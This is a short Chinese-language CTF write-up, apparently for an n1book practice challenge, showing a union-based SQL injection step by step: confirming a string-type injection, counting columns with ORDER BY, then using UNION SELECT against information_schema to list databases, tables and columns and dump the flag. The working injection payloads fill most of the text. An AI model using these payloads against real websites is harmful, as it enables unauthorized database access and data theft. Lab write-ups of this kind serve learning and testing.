先观察页面
干净的一批,只有一串英文无从下手
再看看url框有个熟悉又经典的id=1,试着改一下id=2
咦,发现了新大陆
盲猜这里可能有注入点
开始测试
id=1 and 1 = -1--+(为啥不用“#”,因为试了发现“#”无效)
寄,页面没有变化,所以不是数字型注入
所以试试
id=1' and 1 = -1--+
页面第出现逻辑报错
所以是字符型注入
判断字段数
id=1' order by 1--+
······
id=1' order by 4--+
一直试到4发现报错
报错猜解准备
id=-1' union select 1,2,3--+
2和3的位置可以进行位显
接下来就可以爆库了
id=-1' union select 1,2,group_concat(schema_name) from (information_schema.schemata)--+
有information_schema,mysql,note,performance_schema这些数据库
观察了一下,感觉note最可疑,直接开试
id=-1' union select 1,2,database()--+
返回一下当前数据库名称
猜对了
开始暴表
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
当前数据库的表:fl4g,notes
看着这玩意“fl4g”像flag,就猜在这
直接对他暴列
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
得到列名:fllllag,越看越像flag在这
直接爆值
id=-1' union select 1,2,group_concat(fllllag) from (fl4g)--+
得到flag:n1book{union_select_is_so_cool}